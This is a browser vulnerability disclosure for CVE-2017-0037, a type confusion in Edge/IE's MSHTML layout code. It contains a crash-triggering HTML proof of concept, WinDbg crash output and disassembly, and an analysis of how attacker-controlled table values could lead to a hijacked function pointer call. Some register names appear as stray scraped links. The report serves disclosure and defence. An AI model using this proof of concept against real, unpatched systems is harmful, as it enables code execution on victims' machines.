The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Microsoft Edge / Internet Explorer HandleColumnBreakOnColumnSpanningElement Type ConfusionMicrosoft Edge and IE: Type confusion in HandleColumnBreakOnColumnSpanningElement
CVE-2017-0037
PoC:
<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>
Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 <a href="https://crrev.com/2" title="" class="" rel="nofollow">R2</a>. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly.
The PoC crashes in
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement
when reading from address 0000007800000070
(5fc.8a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
With the following call stack:
Child-SP RetAddr Call Site
00000071`0e75b960 00007ffe`8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4
00000071`0e75b9c0 00007ffe`8e9ba9df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x641fc
00000071`0e75ba50 00007ffe`8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5
00000071`0e75bb10 00007ffe`8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147
00000071`0e75bbb0 00007ffe`8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77
00000071`0e75bbe0 00007ffe`8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d
00000071`0e75bcc0 00007ffe`8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3
00000071`0e75be60 00007ffe`8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c
00000071`0e75c030 00007ffe`8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102
00000071`0e75c090 00007ffe`8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b
00000071`0e75c220 00007ffe`8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5
00000071`0e75c2f0 00007ffe`8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7
00000071`0e75c360 00007ffe`8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c
00000071`0e75c3f0 00007ffe`8e983b7a MSHTML!CView::EnsureView+0x43f
00000071`0e75c4d0 00007ffe`8e97f82b MSHTML!CPaintController::EnsureView+0x58
00000071`0e75c500 00007ffe`8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b
00000071`0e75c580 00007ffe`8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a
00000071`0e75c5b0 00007ffe`8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb
00000071`0e75c5e0 00007ffe`8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7
00000071`0e75c690 00007ffe`afc13fe0 MSHTML!GlobalWndProc+0x1b8
00000071`0e75c710 00007ffe`afc13af2 USER32!UserCallWinProcCheckWow+0x1be
00000071`0e75c7e0 00007ffe`afc13bbe USER32!DispatchClientMessage+0xa2
00000071`0e75c840 00007ffe`b2352524 USER32!_fnDWORD+0x3e
00000071`0e75c8a0 00007ffe`afc1cfaa ntdll!KiUserCallbackDispatcherContinue
00000071`0e75c928 00007ffe`afc1cfbc USER32!ZwUserDispatchMessage+0xa
00000071`0e75c930 00007ffe`95d1bb28 USER32!DispatchMessageWorker+0x2ac
00000071`0e75c9b0 00007ffe`95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
00000071`0e75fc30 00007ffe`aa81572f IEFRAME!LCIETab_ThreadProc+0x3a3
00000071`0e75fd60 00007ffe`9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f
00000071`0e75fd90 00007ffe`b1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
00000071`0e75fde0 00007ffe`b22d54e4 KERNEL32!BaseThreadInitThunk+0x22
00000071`0e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34
And the following register values:
rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050
rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0
rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8
<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000007916490ec0 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000710e75b980 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=00000079164a8f30
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=000000710e75b928 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=000000710e75c000 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000007916450fc8
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=000000791648ec60 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000007911ec9f50
Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.
Let's take a look at the code around the rip of the crash.
00007ffe`8f330a51 488bcd mov rcx,rbp
00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)
00007ffe`8f330a5f 488bcd mov rcx,rbp
00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax]
00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi]
00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h]
00007ffe`8f330a74 488bcf mov rcx,rdi
00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]
00007ffe`8f330a7d 488bce mov rcx,rsi
00007ffe`8f330a80 ffd7 call rdi
On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).
On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.
However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.
Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: ifratric
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